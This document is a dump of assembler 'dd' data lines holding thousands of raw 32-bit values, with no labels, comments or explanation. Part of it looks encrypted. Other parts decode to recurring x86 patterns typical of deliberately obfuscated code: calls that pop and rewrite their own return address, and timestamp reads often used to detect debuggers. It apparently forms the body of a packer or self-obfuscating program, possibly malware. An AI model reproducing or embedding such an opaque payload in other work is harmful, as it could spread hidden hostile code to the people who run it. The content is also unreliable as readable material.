dd 0FC24A3D5h, 0D83034D5h, 1B4862D1h, 0EB637831h, 90039B5Ch
dd 658A73D7h, 0DEC909ACh, 657D0B8Fh, 27666AFFh, 90198B64h
dd 8F1848D7h, 0D80C2139h, 1B5902D1h, 0FC7FAB8Eh, 0FCC5A3D5h
dd 0D8C03BD5h, 1B3765D1h, 0CAC0592Ch, 0B84822DAh, 0FAADB7F8h
dd 650F2499h, 0DE4B22B4h, 5D0C7BB0h, 0DE8B5DB1h, 303322BBh
dd 0D83022D2h, 83DB79F1h, 0DC287E58h, 0DC226650h, 0D80322C7h
dd 1E427192h, 83F242Fh, 303122BBh, 0D83022D2h, 81DB7BF1h
dd 0DC286E58h, 0DC226650h, 0D80322C9h, 0B2427390h, 4B141F6Ch
dd 0D801A758h, 0D85A2499h, 0D81BCA86h, 872C22D1h, 0A48F7D12h
dd 9C8226F5h, 0D89D26F5h, 8F8722D1h, 0DB7F3112h, 0DBF5AD29h
dd 537EA2CFh, 2189E421h, 8B006ADEh, 305522BBh, 0D88122D2h
dd 86037CF1h, 0DC445658h, 0DC146650h, 0D81822CAh, 0A4CF7497h
dd 6226FE70h, 0BEDFED5Bh, 30D4E36Bh, 0D8C022DFh, 295AFDBFh
dd 6C743A80h, 0FDE67544h, 6F03E59Fh, 0DCEE7D20h, 480322D1h
dd 88181B8Eh, 0B917A9B1h, 0DC44665Ah, 0D2D8225Ah, 491822D1h
dd 75312E7Ch, 9B7A9571h, 208844CDh, 0FCC5AB8Fh, 802B97D5h
dd 303622BBh, 0D83022D2h, 86DB7CF1h, 0DC285658h, 0DC226650h
dd 0D80322C4h, 0C1427497h, 0E606A38Fh, 313DD9E7h, 0D83022DFh
dd 0B38736BDh, 70388021h, 9CC3A498h, 6DFC5E52h, 0DEC90B78h
dd 0D8C02839h, 7AA52ED1h, 0E1C9E3E6h, 0D769612Eh, 0F156F466h
dd 9029334Ch, 0B886AFD7h, 0B28769AEh, 0DB2872D1h, 0F86022D1h
dd 5168E189h, 591C0695h, 0C3080695h, 980622D1h, 99C8E181h
dd 0B6DC1AA5h, 56CFDB2Ah, 0D86022D9h, 0D8B12DB1h, 0B91822D1h
dd 0D866F22Eh, 0D805CA87h, 862322D1h, 0AC087C12h, 9C4126F5h
dd 0D87726F5h, 8E7622D1h, 0D049E312h, 0D5E5702Fh, 790622D1h
dd 70072791h, 8C96028h, 0BD69E0FBh, 0A9E5AB88h, 0B2366ADFh
dd 0DBF073D1h, 0F80C22D1h, 515FE188h, 5907069Dh, 0C3850695h
dd 99C022D1h, 0AC86E180h, 5DB9FCB6h, 5DDECD25h, 0DE442D28h
dd 0D4852D86h, 0D70322D1h, 0D8812450h, 7D75ABD1h, 0B0666AF8h
dd 0F61390B8h, 0D8182B39h, 1C4E7FD1h, 0EDA57211h, 0DDEB8E06h
dd 0FC8122D1h, 554179D9h, 823ED35Bh, 45142650h, 2779C24Eh
dd 90258B64h, 9DBBA9D7h, 55056ADFh, 93FE4254h, 89C048D7h
dd 0D8602139h, 1B6902D1h, 0FC54AB88h, 0FC48A3D5h, 0D8063BD5h
dd 1B5263D1h, 0E0DD81B8h, 0D7382A24h, 0D8603A5Eh, 0D820CAD1h
dd 788022D1h, 800E8B9h, 97FD269Fh, 0AAEDA658h, 0B9E1E495h
dd 4D4DA988h, 27666AFFh, 8A304801h, 0D8182139h, 1B5602D1h
dd 0FC52AB8Bh, 0FC47A3D5h, 0D8813FD5h, 1B9260D1h, 879FC73Eh
dd 0CDDF8766h, 5B17BA5Eh, 0D80C22D7h, 0CC0797D2h, 5D8A2499h
dd 0DEC93208h, 309222BBh, 0D86022D2h, 82F378F1h, 0DC3C7658h
dd 0DC286650h, 0D80622CBh, 82C07093h, 4F96ED0h, 0D529AD78h
dd 176022D1h, 0DAB68E4Bh, 925EBF69h, 10B81B3Dh, 0D7FFA717h
dd 0D1402499h, 9098936Ch, 72E44AD7h, 0DAD1CA63h, 0D4141650h
dd 0B24C000Bh, 0DBE473D1h, 0F80622D1h, 515AE188h, 5985069Dh
dd 0CFC40695h, 996022D1h, 3E2CE180h, 6519CB84h, 0DE443858h
dd 0F1AF972Eh, 0D8692499h, 0D882CA83h, 82E022D1h, 8CE97812h
dd 9CB126F5h, 0D80226F5h, 8A4E22D1h, 0A72D112h, 0B23575CCh
dd 89342BB1h, 52C66AFDh, 6F6F431Bh, 0D8B92D26h, 551822D1h
dd 93734254h, 658D71D7h, 0DE4B2C90h, 5151DD8Eh, 90D2CB54h
dd 0D869CAD7h, 0D11722D1h, 0AC6FA203h, 53FED197h, 5D8B7806h
dd 0DE489448h, 30D122BBh, 0D8C022D2h, 80A37AF1h, 0DC146658h
dd 0DC3C6650h, 0D80C22C9h, 62C57291h, 0D6143FC3h, 0C350BF58h
dd 8A502499h, 46FE9DB7h, 583F728Eh, 0D81822D3h, 0B29CCD5Bh
dd 0DBEE71D1h, 0F80322D1h, 51DAE18Ah, 59C4068Dh, 0C0640695h
dd 9B3022D1h, 0F875E182h, 0D7F992F4h, 0D8062157h, 82FB70D1h
dd 27719DDEh, 90D9CF44h, 9FBEA3D7h, 5314DA4Dh, 8D184809h
dd 0D80C2139h, 1B5B02D1h, 0FC6FAB8Ch, 0FCC5A3D5h, 0D8C038D5h
dd 1B3567D1h, 68FDDBECh, 51C4EF3Ch, 9012C76Ch, 0D80ACBD7h
dd 52EE22D1h, 740C0E29h, 0C12AE1F2h, 53060F14h, 55B5AF00h
dd 531E6967h, 2EB32D21h, 0F8D4441h, 0D80BCA81h, 5D0D22D1h
dd 0A7845308h, 0D737B346h, 0D8302259h, 48427BD1h, 305922BBh
dd 0D80622D2h, 85C07FF1h
dd 0DCA54E58h, 0DCE46650h, 0D86022CAh, 7BF37794h, 0E9381B11h
dd 88CD99D4h, 51F1A9B7h, 0D35406CDh, 90AB2B64h, 4D3F7DD7h
dd 0DE282BCCh, 0FF49975Ah, 5D912499h, 0DE440A20h, 305522BBh
dd 0D80322D2h, 834279F1h, 0DCE47E58h, 0DC446650h, 0D83022CBh
dd 76DB7192h, 0F1A37AD0h, 6709AD0Eh, 0F586E522h, 0D7876AD9h
dd 0B2C022D1h, 0DB8877D1h, 0F83022D1h, 5145E18Ch, 590806BDh
dd 0C0020695h, 9D0322D1h, 0C1CE184h, 539ECFE2h, 90530364h
dd 69B5ABD7h, 511E6ADCh, 902C0B54h, 2993DDD7h, 0B2056AF9h
dd 0DB6974D1h, 0F8C022D1h, 513EE18Fh, 593406A5h, 0C51C0695h
dd 9E0C22D1h, 5E1AE187h, 38207923h, 260C34E4h, 0A145AB24h
dd 0B2666AD5h, 0DBD874D1h, 0F81822D1h, 5152E18Fh, 590206A5h
dd 0C3070695h, 9E8122D1h, 3133E187h, 1DD6D9BCh, 65319665h
dd 0DE502908h, 0FB99A75Ah, 458B2499h, 0DE48EB28h, 55806158h
dd 90C30F6Ch, 0BD5AFD7h, 61366918h, 0D81822E2h, 0EBE78622h
dd 0D8062269h, 0ACC329D1h, 0D899E0D2h, 0D4E4665Ah, 0D860CA82h
dd 596B22D1h, 0D8183512h, 0FC50ABD1h, 0FC42ABC1h, 0EFBB79C5h
dd 2781BD71h, 0FC84A931h, 5180DDD5h, 902C2744h, 598523D7h
dd 0B90A6AC4h, 0CCB7975Ah, 658E2499h, 0DECA945Ch, 12F5AF5Ch
dd 0EDD8249Ah, 0EBA8047Ah, 9003AF54h, 19C309D7h, 0BBB82038h
dd 0D2305422h, 0F1D88122h, 5887037Dh, 50DC445Eh, 0C9DC1466h
dd 0E9831822h, 8BA4F305h, 53006AD9h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 686647h, 7BE9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 2B24F137h, 60E0F81Eh, 0FE9h, 0C547FC00h
dd 82FF728Bh, 0CED6CE05h, 8077AC21h, 6160F860h, 880F6161h
dd 19h, 14E9h, 0DE630A00h, 0E9B783ADh, 2AFC8F39h, 0BA1DC736h
dd 0B334EB65h, 0AE96183h, 0A000000h, 0F2573961h, 0DB74BA82h
dd 840FC302h, 8, 8F0F60h, 61000000h, 6AC08Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 88D50C3h
dd 0D43BB9AAh, 99BD83F9h, 64812h, 0BD830975h, 6480D35h
dd 50197400h, 0B8C08B53h, 4B9h, 2FF98589h, 9D8D0648h, 64AA4CBh
dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 4B9h, 2FF98589h
dd 9D8D0648h, 64AA16Ch, 585BD3FFh, 8850Fh, 0B9600000h
dd 4FF231BAh, 6A61F5h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0F60ABC3h, 61F8FEBFh, 6AC08BF8h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 5EC1C356h, 0F7C603ADh, 13E960BBh, 7E000000h
dd 8389B488h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 0D5BEA6C6h
dd 6150DEE4h, 81C18B40h, 899833F7h, 4EB78h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8B69C350h, 480E19BDh, 55858D06h, 6A064812h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0F83EC352h, 660D1D80h, 5458F681h, 0F525090h
dd 82h, 0BE310F00h, 5B5F8568h, 5750585Ah, 453D38BEh, 6A905E7Ah
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 8D006AFEh, 4BCD7685h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0DE1B4A0h
dd 5C0835Eh, 0AE9h, 0ED9E2800h, 0EED3E5DBh, 90914E07h
dd 0F525050h, 5E505131h, 90585A5Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 28C35040h, 6A204444h, 59EE8100h
dd 6A2731DCh, 0DE800h, 0AB930000h, 0DBDEA94Dh, 0B37C077Ch
dd 5E46046Bh, 2B2D95FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 325DF4C3h, 85D8EECAh
dd 8DF8319Dh, 4B99389Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0D3FF67F8h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h, 89E5C24Eh
dd 4809E19Dh, 3DBD0106h, 0FF064833h, 481AD185h, 0D5858906h
dd 0E906482Bh, 6DAh, 0E8h, 0ED815D00h, 64BCD80h, 2FF5BD8Bh
dd 0DE90648h, 31000000h, 11A7459Dh, 29EAB36Dh, 0A92332CCh
dd 82DBD81h, 7D00648h, 860F0000h, 13Eh, 9D8BF78Bh, 6480125h
dd 394BF681h, 0E3810488h, 100h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 49C35747h, 0D7ED8257h, 0FEBF0F14h
dd 850FDB0Bh, 0A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 67C35343h, 14697A36h, 0B58BBF7Ah, 64816A9h
dd 0CBE2BD83h, 0F00064Bh, 3684h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 250FEFBFh
dd 68A0Fh, 0BD8B0000h, 6480121h, 6BE9h, 999D8900h, 0C7064800h
dd 4BCBE285h, 106h, 0C5B52300h, 0E906482Eh, 50h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E1C35545h, 0EC076C22h
dd 660A8844h, 0C72F93BFh, 4BCBE285h, 6, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0FE8B2094h, 1259D8Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 3B703CC3h, 0FBBF0F1Dh
dd 0FEFF2381h, 8C66FFFFh, 52006ADBh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0BA4332ACh
dd 27CD26CBh, 0BD2957F8h, 64817A1h, 7995895Fh, 0F6064818h
dd 840F04C3h, 59h, 6E9h, 1C885600h, 56AEDC07h, 95FF5FF8h
dd 64828F1h, 5090F78Bh, 53525052h, 66310F5Fh, 5ACE6BBEh
dd 50310F58h, 52310F52h, 5A585A5Eh, 0B6605058h, 0A155BFC6h
dd 906165A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0AAC35242h, 3A9E9EAh, 0B00000h, 3091BD89h, 70E60648h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0EDC35040h
dd 0BF66BD7Dh, 71E477E9h, 0B60FF08Bh, 51006AD8h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0E9E7A2D5h, 5, 8DBC41C3h, 6BABCh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 89D3CEC3h
dd 0C1F5C38Bh, 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 5C0202C3h, 21BF0FA9h, 0E2F766F9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h
dd 0F40DC726h, 0BE749F17h, 76A66AA7h, 6AD82Bh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0EE39D6C3h, 0FAE9C68Dh, 0E9885BE1h, 0Eh, 0C9C4912Ah
dd 491EA6Bh, 47CFFB84h, 0E99395FEh, 7, 7E137B56h, 500B69FBh
dd 56006A93h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 84CFA2ADh, 6FCFBF66h, 82DB5FFh, 0FE8B0648h
dd 92D95FFh, 0B00648h, 8830Fh, 81530000h, 0DE22E0E7h, 70E65E25h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h
dd 843FEA11h, 0BD8B18D4h, 6480A59h, 0B58971E4h, 64810A1h
dd 830F613Ch, 213h, 0C444DE81h, 0B60F7BE3h, 10E8D8h, 689F0000h
dd 0FD108B93h, 881287F4h, 4FF843B8h, 8B0F1A2Ch, 0
dd 6BA5Eh, 85010000h, 6483239h, 9D89C38Bh, 64803E5h, 8904E8C1h
dd 482B859Dh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 2DC35747h, 8C87FEA9h, 0FB8B8E29h, 9531D82Bh
dd 6483035h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0D4A2D0B0h, 0E669CC6Eh, 0C204BFD8h
dd 0D82B7A74h, 171880Fh, 7B90000h, 0F000000h, 0C183F0BFh
dd 0F2B70F00h, 860FD93Bh, 15Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0DAC35141h, 1B9CDBBEh, 7C4062DCh
dd 2BB98531h, 8C660648h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 783B6D29h, 75B589h, 0C1F60648h
dd 0D9840F04h, 0F000000h, 68Dh, 51858900h, 0FF06481Bh
dd 4828F195h, 5D9D2906h, 0E8064813h, 11h, 0AF1EB8FDh, 0A7BA275Fh
dd 0FFA4F41Ch, 56B42FC4h, 0CAD78155h, 5E0C38C6h, 53006A5Bh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 2996DBE8h, 0FE9A0h, 0FB330000h, 7E7C64CCh, 0D5C7BE2Eh
dd 0A560DCE1h, 59D8922h, 2B064806h, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D92B85B6h
dd 343D79EFh, 0F000008h, 3B86h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 36E154Ch, 1B99139h
dd 4828C18Dh, 85095206h, 6483035h, 2DE95Fh, 0DF810000h
dd 6B16D304h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 99303BC3h, 76D7D9Dh, 8BFDD4C7h
dd 2BD88BC3h, 48297DBDh, 7985C706h, 77064830h, 0E85ECFEFh
dd 0Fh, 60347A83h, 6458804Dh, 0B92D76F8h, 0E9740744h, 9
dd 0F76D6D33h, 0A8126788h, 0C08B5FE7h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 72C35343h, 0BF0FF886h, 2DBD81F2h
dd 0D0064808h, 0F000007h, 3085h, 8A0F6000h, 2, 0D78B5F57h
dd 2D85FF61h, 6A064808h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 173DC352h, 2DB5FF2Eh
dd 6A064808h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 7BCCC350h, 0F9BCAD81h, 33A336AEh
dd 482A55B5h, 2D95FF06h, 6A064809h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 908EC355h
dd 5F710269h, 8D607489h, 0C5958B60h, 81064810h, 0B1F0B1F7h
dd 0BF0F613Bh, 78B890F9h, 89123456h, 4827C9B5h, 9D8DF806h
dd 64BD439h, 0FFF92BE9h, 0BE66FCFFh, 0C18BE443h, 20199D89h
dd 4EB0648h, 0
dd 22C99D29h, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0F50205C3h, 22D19501h, 858D0648h
dd 6481255h, 3810Fh, 8B660000h, 0EE990FBh, 4A000000h, 7E11C605h
dd 0A7C73069h, 3038F183h, 5250507Ch, 48C0Fh, 0BE660000h
dd 310F41DCh, 585A5F51h, 0CE990h, 3A70000h, 74702F00h
dd 0B4854999h, 6A3CF4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 19C35141h, 0C434FE84h, 6A236542h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0F88B88C8h, 0D634858Dh, 0C083064Bh, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0F32840CEh, 4C5E7E2Ch, 0C6810C2Fh, 5CC428B9h, 89ABF66h
dd 0F18A6050h, 0E4E047BEh, 489615Ch, 0ADBD2924h, 6A06480Bh
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0F7816618h, 6ACDDDh, 3880Fh, 8B660000h
dd 2D95FFF0h, 8D06482Bh, 4B99389Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 6993060Dh
dd 0E860D033h, 8, 4442DD6Dh, 97E74C96h, 10E9h, 3B403700h
dd 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0DE959F1h, 0DE000000h
dd 34493664h, 13020389h, 0F0C5EAD7h, 0FB8B6661h, 6AD3FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0BF21D3C3h, 0A660983h, 81665F94h, 0FFB2E2DFh, 481AD185h
dd 0CF816606h, 0B70F9379h, 0F17E9FAh, 0E80000h, 5D000000h
dd 0D63EED81h, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 8B7842C3h, 4828EDBDh, 5D8D8906h
dd 3064814h, 483295BDh, 2DBD8106h, 0D0064808h, 0F000007h
dd 16686h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0C20F760Ah, 4916695Ch, 0C99D8B54h
dd 6A06482Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 81E1C352h, 100E3h, 0F78B6600h
dd 850FDB0Bh, 0C0h, 11658D09h, 0BD830648h, 64BD45Fh, 53840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 3C08C351h, 736F4ADBh, 0D59F3EF7h
dd 2F158D89h, 0B2E90648h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0BD24C355h
dd 7844CF81h, 85C700CAh, 64BD45Fh, 1, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0F6C35545h, 0AB64196Bh, 5EE9A8ECh
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0D1DEC351h, 0AD4D6739h, 0BD01DB30h
dd 64831B1h, 0D45F85C7h, 64Bh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2F5274C3h
dd 35BD8BB2h, 81064800h, 349180EFh, 0C99D8D7Ah, 0B06482Fh
dd 4816A5BDh, 0FF238106h, 8BFFFFFEh, 558D09F7h, 66064800h
dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0BE66B1C3h, 0C3F69213h, 33840F04h, 66000000h
dd 95FFF98Bh, 64828F1h, 0F78B90FCh, 6A9050h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1FDCA6C3h
dd 0E58F1852h, 0CFE95D5Fh, 6A000003h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 3E70C352h
dd 4AAF5C2h, 9570F6A7h, 28E19589h, 0B00648h, 79F68166h
dd 8970E6C8h, 4830618Dh, 0F71E406h, 6AD8B6h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 18C4DAC3h
dd 37490B41h, 0A999589h, 6BA0648h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0ADE3C356h, 0BF18509h, 95890648h, 648328Dh, 6AC38Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0AEC082C3h, 60B7341Fh, 0CA816056h, 7E794033h, 14DD958Bh
dd 5E610648h, 3104E8C1h, 480AF195h, 0E2F76606h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F3C35747h, 0D82B53C4h
dd 1C498589h, 66930648h, 505382BEh, 6A93F98Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 1BCFC355h, 0C72675C1h, 9F17F40Dh, 82DB5FFh, 0B70F0648h
dd 2D95FFFEh, 0B0064809h, 0BF0F6000h, 898589C8h, 61064816h
dd 0E6F6BF0Fh, 50006A70h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 2822052Eh, 71E436C5h
dd 0D1B58B60h, 9064811h, 480071BDh, 0BD016106h, 64812E1h
dd 830F613Ch, 246h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 75C35545h, 40C57A9Ah, 0F1051B9h, 0F781D8B6h
dd 6CEDB604h, 102DB58Bh, 6BA0648h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0C943C357h, 0C12B2D68h, 29C9BD8Bh, 0C38B0648h, 8B04E8C1h
dd 0E8E0FF3h, 60000000h, 55EC781h, 9D897F83h, 6480C8Dh
dd 0E2F76661h, 0BE9h, 0D477400h, 7E02C474h, 1B55C854h
dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0AE093BC3h, 5546FE06h, 14DDBD89h, 6A580648h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 817CC350h, 7D143A28h, 880FD82Bh, 166h, 81B58957h
dd 5E064810h, 1A058D89h, 7B90648h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0A1D1C353h, 820F1Fh, 83000000h, 0B58B00C1h, 6480D59h
dd 860FD93Bh, 11Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 4CC35040h, 6A42139Fh, 0C880Fh, 8B0F0000h
dd 6, 8B0Fh, 8C660000h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 2F5EF352h, 0A5BD8B2Eh
dd 0F064801h, 28Fh, 0F6F38B00h, 840F04C1h, 92h, 68A0Fh
dd 66570000h, 5E8FA2BEh, 28F195FFh, 81660648h, 0E97FC5F6h
dd 0Ah, 981BF2Fh, 856B32A4h, 0E85B674Eh, 0Eh, 0E63042D1h
dd 7870FE1h, 99BF7701h, 51514E32h, 0E95E5F5Eh, 13h, 8ADAA4B1h
dd 2A7E60EFh, 8CE5F80h, 8332ECD5h, 2B3EAC12h, 50E781C3h
dd 3D0535B2h, 834h, 28860Fh, 0B5890000h, 6482B9Dh, 3CE9F9h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0C08B2BC3h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 23C35141h, 0C38B214Fh, 6AD88Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 9BE327C3h, 742E94FBh, 0CF8155AFh, 3723B951h, 12585C7h
dd 6F110648h, 6A1161h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0B3A19DC3h, 0FABF667Eh
dd 5800F3Eh, 0BE000000h, 3B55A7CAh, 0CE81C08Bh, 139672BDh
dd 82DBD81h, 7D00648h, 850F0000h, 31h, 1C15B58Bh, 85FF0648h
dd 648082Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0ECC35545h, 3612BF00h, 8B660369h, 2DB5FFF2h, 6A064808h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 6E34C355h, 19BD896Ch, 81064818h, 9F79ABD6h
dd 2D95FF76h, 6A064809h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 8F0CC356h, 2A227F29h
dd 4090FD3Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0ACC35646h, 0D09F935Ch, 0A0988BFBh, 66EE8A60h
dd 615C3BB9h, 89BD83h, 0F000648h, 12884h, 0FFBF0F00h, 5B5BD83h
dd 0F000648h, 11884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 8166410Bh, 0FF0844F6h
dd 48008995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0C00B4A66h, 0CB840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 6E016CC3h, 7225EAB7h, 0F75B58Bh, 8D8D0648h, 6484E80h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 35C35040h
dd 6890FE5h, 81000000h, 183864DFh, 5B832h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 954F37C3h, 30B18D89h, 0BE660648h, 0E1FF2C79h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h, 0E1E2868Ch
dd 60A597F3h, 5890Fh, 0B80000h, 0F4FAFEDh, 583h, 0C9816600h
dd 5061FC0Ah, 2840Fh, 5F500000h, 0DDBD835Eh, 6481Ch, 6A9840Fh
dd 0EE810000h, 750004Eh, 5B5BD83h, 0F000648h, 69684h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 73C7425h, 15629BBCh, 198D8D24h, 6A064832h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 9BC350h, 0E8A18357h, 0Eh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh
dd 0C75E52F1h, 0B27C8401h, 52006A44h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 5314102Ch
dd 0F88B269Eh, 0CFCB0181h, 0B70F1499h, 441C7F3h, 0CE706B34h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CAC35242h
dd 82B7F6D4h, 8A0F53h, 5F000000h, 10044181h, 6A31D6D7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 7C9CC350h, 6A006A76h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 54E2C356h
dd 858D65DCh, 6483219h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 31C35141h, 50FA8BE0h, 0C4D6BF66h, 51240489h
dd 830Fh, 0FF5E0000h, 481CDD95h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 860F06F0h
dd 5, 10F78166h, 198D8D94h, 6A064832h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 20FCC356h
dd 0F78B881Ah, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
